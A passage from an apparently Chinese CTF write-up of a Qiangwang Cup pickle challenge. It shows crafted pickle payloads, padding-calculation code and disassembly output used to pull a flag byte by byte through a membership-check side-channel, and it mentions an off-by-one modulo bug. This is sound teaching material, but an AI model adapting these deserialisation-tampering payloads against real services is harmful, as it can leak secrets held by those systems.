114: \x94 MEMOIZE (as 11)
115: C SHORT_BINBYTES b'Christopher'
128: \x94 MEMOIZE (as 12)
129: C SHORT_BINBYTES b'Kristina'
139: \x94 MEMOIZE (as 13)
140: C SHORT_BINBYTES b'Michelle'
150: \x94 MEMOIZE (as 14)
151: C SHORT_BINBYTES b'Bryan'
158: \x94 MEMOIZE (as 15)
159: C SHORT_BINBYTES b'Jerry'
166: \x94 MEMOIZE (as 16)
167: C SHORT_BINBYTES b'Michael'
176: \x94 MEMOIZE (as 17)
177: C SHORT_BINBYTES b'Shelby'
185: \x94 MEMOIZE (as 18)
186: C SHORT_BINBYTES b'Tiffany'
195: \x94 MEMOIZE (as 19)
196: C SHORT_BINBYTES b'Erika'
203: \x94 MEMOIZE (as 20)
204: C SHORT_BINBYTES b'Robert'
212: \x94 MEMOIZE (as 21)
213: C SHORT_BINBYTES b'Courtney'
223: \x94 MEMOIZE (as 22)
224: C SHORT_BINBYTES b'Angela'
232: \x94 MEMOIZE (as 23)
233: C SHORT_BINBYTES b'Erin'
239: \x94 MEMOIZE (as 24)
240: C SHORT_BINBYTES b'Nicole'
248: \x94 MEMOIZE (as 25)
249: C SHORT_BINBYTES b'Jeffrey'
258: \x94 MEMOIZE (as 26)
259: C SHORT_BINBYTES b'Colleen'
268: \x94 MEMOIZE (as 27)
269: C SHORT_BINBYTES b'William'
278: \x94 MEMOIZE (as 28)
279: C SHORT_BINBYTES b'Deanna'
287: \x94 MEMOIZE (as 29)
288: C SHORT_BINBYTES b'James'
295: \x94 MEMOIZE (as 30)
296: C SHORT_BINBYTES b'Stacey'
304: \x94 MEMOIZE (as 31)
305: C SHORT_BINBYTES b'Terri'
312: \x94 MEMOIZE (as 32)
313: C SHORT_BINBYTES b'Sarah'
320: \x94 MEMOIZE (as 33)
321: C SHORT_BINBYTES b'Alicia'
329: \x94 MEMOIZE (as 34)
330: C SHORT_BINBYTES b'Maria'
337: \x94 MEMOIZE (as 35)
338: C SHORT_BINBYTES b'Rickey'
346: \x94 MEMOIZE (as 36)
347: C SHORT_BINBYTES b'Natalie'
356: \x94 MEMOIZE (as 37)
357: C SHORT_BINBYTES b'Richard'
366: \x94 MEMOIZE (as 38)
367: C SHORT_BINBYTES b'Garrett'
376: \x94 MEMOIZE (as 39)
377: C SHORT_BINBYTES b'Amanda'
385: \x94 MEMOIZE (as 40)
386: C SHORT_BINBYTES b'Jason'
393: \x94 MEMOIZE (as 41)
394: C SHORT_BINBYTES b'Tammy'
401: \x94 MEMOIZE (as 42)
402: C SHORT_BINBYTES b'Dana'
408: \x94 MEMOIZE (as 43)
409: C SHORT_BINBYTES b'Jamie'
416: \x94 MEMOIZE (as 44)
417: C SHORT_BINBYTES b'John'
423: \x94 MEMOIZE (as 45)
424: C SHORT_BINBYTES b'Brandi'
432: \x94 MEMOIZE (as 46)
433: C SHORT_BINBYTES b'Alejandro'
444: \x94 MEMOIZE (as 47)
445: C SHORT_BINBYTES b'Danielle'
455: \x94 MEMOIZE (as 48)
456: C SHORT_BINBYTES b'Alexandra'
467: \x94 MEMOIZE (as 49)
468: C SHORT_BINBYTES b'Brittany'
478: \x94 MEMOIZE (as 50)
479: C SHORT_BINBYTES b'Melissa'
488: \x94 MEMOIZE (as 51)
489: h BINGET 0
491: e APPENDS (MARK at 22)
492: \x8c SHORT_BINUNICODE 'flag{f0192fd3-f87f-4693-a28d-a6e24766c143}'
536: \x94 MEMOIZE (as 52)
537: \x87 TUPLE3
538: \x94 MEMOIZE (as 53)
539: . STOP
highest protocol among opcodes = 4
对比
第一个
0: \x80 PROTO 4
2: \x95 FRAME 532
11: C SHORT_BINBYTES b'messir\x94]\x94' //关键位置
22: ( MARK
多吃了字节
第二个
0: \x80 PROTO 4
2: \x95 FRAME 532
11: C SHORT_BINBYTES b'messir'
19: \x94 MEMOIZE (as 0)
20: ] EMPTY_LIST
21: \x94 MEMOIZE (as 1)
22: ( MARK
注意到附件里面,需要出来三给对象,flag要是全序列化进了players,而且flag在上面那个data元组中又是最后的,_不就空了吗。、
name, players, _ = eval("F(n).load()", safe_dic, {})
if name in players:
del _
print(f"{name} joined this game, but here is no flag!")
这里其实我也保留了一个疑问,为什么不能干脆就让_空就空呗。然后 _ 是不是就是空,师傅用了一个trick
可以看到空字典
的 pickle 格式:
EMPTY_DICT = b'}' # push empty dict
flag 的结尾是一个}
这里就直接引用woodwhale师傅的总结
那么最后的思路就是:
- name输入自定义bytes
- players携带flag数据
- _ 是一个空字典,不用管
结合 if name in players
这个判断语句,我们可以单字节去爆破flag的内容
例如,name=b"flag{", players = b"一堆无用的players数据" + b"flag数据"
,如果name中输入的flag正确,那么就会执行print(f"{name} joined this game, but here is no flag!")
,从而完成侧信道爆破
构造padding
我们该怎么去编写pickle data,题目中的players是随机生成的。而且我们的players要除了最后一个}都要吞了。
flag = "flag{"
tmp_flag = flag
tmp_flag_len = len(tmp_flag)
payload = b"C" # bytes
payload += bytes([tmp_flag_len]) # bytes len
payload += tmp_flag.encode() # bytes content
pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len
payload += b"B" + p32(pad) # > 256 bytes padding,配合ljust正好覆盖到 flag 删去 `}` 的最后一个字符
payload = payload.ljust(0x103, b"\xff")
前面的都好理解,主要是后面的一下代码
pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len
//每一个players都有一个字节的C+一个字节的长度识别+一个字节的记录到列表中也就是\x94,这个302我没有去深究,但是应该是控制\x03\x01\x00\x00,类似格式的实现
payload += b"B" + p32(pad) # > 256 bytes padding,配合ljust正好覆盖到 flag 删去 `}` 的最后一个字符
//p32(pad)将这些数据转换成四个字节的十六进制,和B的数据识别长度刚好吻合
payload = payload.ljust(0x103, b"\xff")
//0x103固定这个大小就是为了B序列化的识别长度为我们想要的,\x03\x01\x00\x00
例如输入以下数据:
b'C\x06flag{1B\xea\x02\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
//C\x06flag{1 name
//B\xea\x02\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
//\xea\x02\x00\x00的大小给不止读
xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
所以会都如后续players和flag
输入
number
为bytes([11])
随后得到的新的三元组的
pickle data
就是
data = bytearray(b'\x80\x04\x95\xff\x02\x00\x00\x00\x00\x00\x00C\x03\x01\x00\x00C\x06flag{-B\xe8\x02\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143}\x94\x87\x94.')
//}\x94,}就被识别为空列表即元组中的_={},也就不需要序列化,自动就加了给空列表到里面
pickletools.dis
一下
0: \x80 PROTO 4
2: \x95 FRAME 767
11: C SHORT_BINBYTES b'\x01\x00\x00'
16: C SHORT_BINBYTES b'flag{-'
24: B BINBYTES b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143'
773: } EMPTY_DICT
774: \x94 MEMOIZE (as 0)
775: \x87 TUPLE3
776: \x94 MEMOIZE (as 1)
777: . STOP
highest protocol among opcodes = 4
Traceback (most recent call last):
File "test.py", line 3, in <module>
dis(data)
File "lib/python3.10/pickletools.py", line 2547, in dis
raise ValueError("stack not empty after STOP: %r" % stack)
ValueError: stack not empty after STOP: [bytes]
解包后的三元组数据就是:
(b'flag{-', b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143', {})
师傅这里提到了两个坑点:
这里的第一个坑点就是,输入
\x10
会被当做\n
截断,所以需要特殊处理一下 第二个坑点就是players是随机生成的,每次的数据都不一样,得计算padding长度,这里就不细谈了,直接看exp就行
还有第二种做出的方法:就是pwn师傅可能注意到的
data[num] += 1
data[num] %= 0xFF
(0xfe + 1) % 0xff = 0。
这个漏洞:如果我们输入一个长度为 0xfe 的 name,然后在 index=12
的下标对数据 +1 ,那么这个B
对应的长度\xfe
就成了\x0
后续解题的思想是一样的。
感想🫨😵😵💫:
强网杯的题目确实不一般,拿着出题人wp都要折腾好久,只能说菜就多练吧,也是理解到为什么厉害的misc手都说是是全栈佬,实在太全面了。希望以后遇到简单的能有思路吧。😅😅😅